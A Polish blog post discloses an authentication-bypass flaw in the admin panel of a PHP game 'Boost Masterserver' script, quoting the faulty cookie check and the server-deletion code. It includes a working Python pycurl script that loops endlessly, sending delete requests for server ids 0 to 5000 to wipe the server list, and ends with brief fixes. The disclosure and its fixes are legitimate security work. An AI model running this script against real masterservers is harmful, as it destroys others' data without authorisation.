Usuwanie serwerów z listy podatność – Skrypt Boost Masterservera

Podatność została znaleziona kilka miesięcy temu dopiero teraz zdecydowałem się ją opisać , większość masterserwerów jest już zabezpieczona przed nią także skrypt ms do pobrania jest już zabezpieczony. Jednak zdecydowałem się wrzucić informacje o tym.
W skrypcie boosta można było znaleźć podatność która pozwalała np. na usuwanie serwerów z listy.

Zaznaczam że do kodu starego ms’a nie mam już dostępu zniknęły w czeluściach mojego dysku a downloadu nie znalazłem dlatego ten post nie będzie aż tak dokładny jakbym chciał.

W pliku admin.php można było znaleźć kod podobny do tego

<?php 
if(isset($showmsg)) { echo $showmsg; }
if(isset($_COOKIE["adminhash"]) AND $_COOKIE["adminhash"] != $auth[2] OR !isset($_COOKIE["adminhash"])) {
	require_once "include/admin/admin_auth.php";
} else {
	if(isset($_GET['servers'])) {
		require_once "include/admin/admin_server_list.php";
	} else if(isset($_GET['bans'])) {
		require_once "include/admin/admin_server_bans.php";
	} else if(isset($_GET['keys'])) {
		require_once "include/admin/admin_server_keys.php";
	} else {
		require_once "include/admin/admin_main.php"; 
		require_once "include/admin/admin_graph.php"; 
	}
}	
?>

( jest to już kod poprawiony )

Z powodu błędu w warunku

if(isset($_COOKIE["adminhash"]) AND $_COOKIE["adminhash"] != $auth[2] OR !isset($_COOKIE["adminhash"]))

można było przejść do includowania admin_server_list.php.

require_once "include/admin/admin_server_list.php";

w pliku admin_server_list.php można znaleźć taki kod

else if(!empty($_GET['del'])) { 
	$id = intval($_GET['del']);
	$sql = mysql_query("SELECT * FROM `servers` WHERE `id` = {$id}") or die(mysql_error());
	if(mysql_num_rows($sql) > 0) {
		$row = mysql_fetch_assoc($sql);
		echo '<legend>Usuwanie serwera IP: '.$row['address'].' <a class="pull-right" href="admin.php?servers">Wróć</a></legend>';
		echo '<form method="post" action="" class="form-horizontal">
		<input type="hidden" name="id" value="'.$row['id'].'">
		<label class="checkbox">
            <input type="checkbox" name="del"> Tak, potwierdzam że chcę usunąć ten serwer.
        </label>
		<input type="submit" class="btn btn-info" name="submit" value=Usuń serwer">
	    </form>';	
	} else {
		echo $newMess->into_msg("2", "Ten serwer nie istnieje", "2"); 
	}

( także zmieniony już kod , ale czy poprawiony 😛 ? )

Skrypt w python 3 który wykorzystywał tą podatność

#-*- encoding: utf-8 -*-

import pycurl
import threading
import urllib.parse
import io

url = "url"
repeat = 5000;

url = url + "/admin.php?servers=1"

while True:
	for x in range( 0 , repeat ):
		values = {
      		'del': 1,
      		'id': x
    	}

		c = pycurl.Curl()

		c.setopt( pycurl.URL, url );
		c.setopt( pycurl.NOBODY, True );
		c.setopt( c.POST, True);

		data = urllib.parse.urlencode( values )
	
		c.setopt( c.POSTFIELDS, data)

		c.setopt( pycurl.HEADER, True);
		c.setopt( pycurl.HTTPHEADER, [ "User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)" , "Connection: keep-alive" ] );
		c.setopt( pycurl.TIMEOUT, 10);

		body = io.BytesIO()

		c.setopt( pycurl.WRITEFUNCTION, body.write )

		c.perform()

Sposoby naprawy

  • Ukrycie pliku admin.php ( zmiana nazwy , zablokowanie na ip etc. )
  • Naprawa warunku w pliku admin.php

Dodaj komentarz